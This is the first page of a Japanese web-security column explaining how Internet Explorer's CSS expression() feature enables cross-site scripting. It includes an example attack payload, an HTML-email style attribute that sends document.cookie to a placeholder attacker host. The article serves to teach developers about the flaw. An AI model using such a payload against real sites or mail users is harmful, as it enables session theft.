第3回 [柔軟すぎる]IEのCSS解釈で起こるXSS

はせがわようすけ
ネットエージェント株式会社

2009/6/4

XSSにCSRFにSQLインジェクションにディレクトリトラバーサル……Webアプリケーションのプログラマが知っておくべき脆弱性はいっぱいあります。そこで本連載では、そのようなメジャーなもの“以外”も掘り下げていきます (編集部)

なぜか奥深いIEのXSSの話

- PR -

 皆さんこんにちは、はせがわようすけです。

 第1回「[これはひどい]IEの引用符の解釈」と第2回「[無視できない]IEのContent-Type無視」でInternet Explorer(IE)の独自の機能がクロスサイトスクリプティング(XSS:cross-site scripting)を引き起こす可能性があるということについて説明してきました。

 第3回でも引き続き、IE特有の機能がXSSを引き起こす例ということで、“スタイルシートを利用したクロスサイトスクリプティング”という攻撃方法を紹介しましょう。

スタイルシートを利用したXSSとは

 IEにおいてスタイルシート内にJavaScriptを含める方法はいくつかありますが、最も柔軟性が高いのは、「expression(JavaScript文)」という表記方法でしょう。IEではスタイルシート内にこのような記述を含めることで、スタイルの評価時にJavaScriptを実行させることができます。

 例えば、以下のように記述すれば、スタイルシートの評価のたびにJavaScriptが実行され、背景色を午前中は赤色に、午後は青色にすることができます。

<div style='background-color:expression(
       (function(){
           var now = new Date();
           if( now.hour < 12 ){
               return "red";
           }else{
               return "blue";
           }
       })()
)' >

 この例のように、自由にJavaScriptを記述することができるので、例えばWebメールなどのように、ユーザーからスタイルシートの入力を許容しているようなWebアプリケーションは、攻撃者に目を付けられることになります。

 仮に、攻撃者が以下のようなスタイルを指定したHTMLメールを被害者のWebメールアカウントあてに送ったとします。

<div style='background-color:expression(
"url(http://attacker.example.jp/?" + document.cookie + ")" )' >

 被害者がこのようなメールをWebブラウザ上で開くと、セッション情報を格納しているCookieの値が、攻撃者の用意したサーバに送られてしまうことになります。

 
1/3

Index
[柔軟すぎる]IEのCSS解釈で起こるXSS
Page1
なぜか奥深いIEのXSSの話
スタイルシートを利用したXSSとは
  Page2
IEにおけるスタイルシートの“柔軟過ぎる”解釈
  Page3
スタイルシートのXSS対策の方針は?
正しい未来のために声を上げるべし

教科書に載らないWebアプリケーションセキュリティ

 Coding Edgeお勧め記事
いまさらアルゴリズムを学ぶ意味
コーディングに役立つ! アルゴリズムの基本(1)
 コンピュータに「3の倍数と3の付く数字」を判断させるにはどうしたらいいか。発想力を鍛えよう
Zope 3の魅力に迫る
Zope 3とは何ぞや?(1)
 Pythonで書かれたWebアプリケーションフレームワーク「Zope 3」。ほかのソフトウェアとは一体何が違っているのか?
貧弱環境プログラミングのススメ
柴田 淳のコーディング天国
 高性能なIT機器に囲まれた環境でコンピュータの動作原理に触れることは可能だろうか。貧弱なPC上にビットマップの直線をどうやって引く?
Haskellプログラミングの楽しみ方
のんびりHaskell(1)
 関数型言語に分類されるHaskell。C言語などの手続き型言語とまったく異なるプログラミングの世界に踏み出してみよう
ちょっと変わったLisp入門
Gaucheでメタプログラミング(1)
 Lispの一種であるScheme。いくつかある処理系の中でも気軽にスクリプトを書けるGaucheでLispの世界を体験してみよう
  Coding Edgeフォーラムフィード  2.01.00.91

TechTargetジャパン

Coding Edge フォーラム 新着記事

@ITメールマガジン 新着情報やスタッフのコラムがメールで届きます(無料)

RSSフィード

キャリアアップ

@IT Sepcial

イベントカレンダー

PickUpイベント

- PR -
もっと見る

お勧め求人情報

ホワイトペーパーTechTargetジャパン

@IT Sepcial
ソリューションFLASH